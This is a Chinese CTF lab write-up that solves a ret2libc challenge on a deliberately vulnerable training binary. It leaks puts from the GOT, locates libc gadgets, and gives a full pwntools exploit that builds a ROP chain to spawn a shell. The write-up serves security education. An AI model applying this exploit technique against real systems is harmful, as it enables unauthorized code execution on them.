[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)相关的知识,希望对你有一定的参考价值。
文章目录
一、要点
- ROP chain
- return to libc
- libc中的地址泄露和定位
二、预备知识
预备知识请参考pwn入门参考资源中的PLT和GOT、ROP部分。
三、题目
这是一道pwn ret2libc的题目,不但给出了二进制文件,也给出了源文件:
题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab7
四、解题过程
1、检查保护机制
checksec只有NX,无法平坦的溢出栈空间。
2、运行查看效果
运行该程序,用户有两个输入点,第一个输入点需要填入一个地址,而后程序会根据把输入的十六进制数作为输入,输出一个值。第二个输入点填充大量字符串时,程序crash,报段错误。
3、源程序
直接看实验中给出的源码rop.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char addr[16];
char buf[16];
printf("You have one chance to read the memory!\\n");
printf("Give me the address in hex: ");
read(0, addr, 0x10);
unsigned long long iaddr = strtoll(addr, 0, 16);
printf("\\nContent: %lld\\n", *(unsigned long long *)iaddr);
printf("Give me your messege: ");
read(0, buf, 0x90);
return 0;
}
两个read函数用于接收用户的输入,第一个read函数读入一个16进制的值,并把该值作为地址,把地址中的值输出出来,第二个read可读入0x90个字节,有空间足够通过gadget链拼接出shellcode。
4、ROP chain的设计
要拼出的ROP chain与LAB5中的类似,[NTUSTISC pwn LAB 5]rop入门实验,可以直接查看后面的exp。
在栈中填入ROP链接和system的plt所需的参数,利用系统调用打开shell。
5、使用本地libc.so进行分析
这道题可以使用题目给出的libc-2.27.so进行分析,也可以使用本地的so进行分析。本文,使用本地的so进行分析。使用如下命令查看使用的so和版本号:
gdb ret2libc
b main
r
vmmap
从图中可知链接的so为/lib/x86_64-linux-gnu/libc-2.23.so。
6、泄露puts的地址、定位gadget片段的地址
本题的思路是泄露libc中的函数,该函数必须在第一个read之前执行,虽然有两个printf,但加了换行的printf实际调用的是puts函数,这里我们就来泄露puts函数的地址。假设puts函数的地址为put_addr。而后需进行如下操作来解析:
第一步:解析elf文件,计算puts函数的偏移put_offset,并定位到libc的首地址libc_base = put_addr - put_offset。
第二步:在libc中查找pop rdi, pop rsi, pop rdx, pop rax, syscall的片段,与syscall片段的地址相加,可计算出指令的地址。
syscall查找过程如下,其他略。
ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.23.so >g
cat g | grep "syscall"
出了上述gadget片段,还需要/bin/sh的地址,查找命令为:
strings /lib/i386-linux-gnu/libc-2.23.so -tx | grep "/bin/sh"
7、编写exp
编写的exp为:
from pwn import *
#r = process(["./ret2libc"], env = {"LD_PRELOAD" : "./libc-2.27.so"})
r = process("./ret2libc")
raw_input()
put_got = 0x601018
#put_offset = 0x809c0
put_offset = 0x6f6a0 #2.23 readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "IO_puts"
#r.recvline()
r.recvuntil(': ')
r.send('0x601018')
r.recvuntil('Content: ')
put_addr = int(r.recvuntil('\\n')[:-1])
#print hex(put_addr)
libc_base = put_addr - put_offset
#bin_sh = 0x1b3e9a
bin_sh = 0x18ce57 #2.23
pop_rdi = 0x0000000000021112
pop_rsi = 0x00000000000202f8
pop_rdx = 0x0000000000001b92
pop_rax = 0x000000000003a738
syscall = 0x00000000000bc3f5
r.recvuntil(': ')
p = 'a' * 0x38
p += p64(libc_base + pop_rdi)
p += p64(libc_base + bin_sh)
p += p64(libc_base + pop_rsi)
p += p64(0)
p += p64(libc_base + pop_rdx)
p += p64(0)
p += p64(libc_base + pop_rax)
p += p64(0x3b)
p += p64(libc_base + syscall)
r.send(p)
r.interactive()
运行该脚本后,执行ls命令,可以看出已经拿到了shell:
五、拓展
这道题作者的本意是绕过pie,但是编译选项中仍然加了-no-pie,我们可以将pie加上去,这时候,exp仍然是可行的。
以上是关于[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)的主要内容,如果未能解决你的问题,请参考以下文章
[NTUSTISC pwn LAB 6]rop&Return to plt实验
[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2
[NTUSTISC pwn LAB 4]gothijacking入门实验
[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof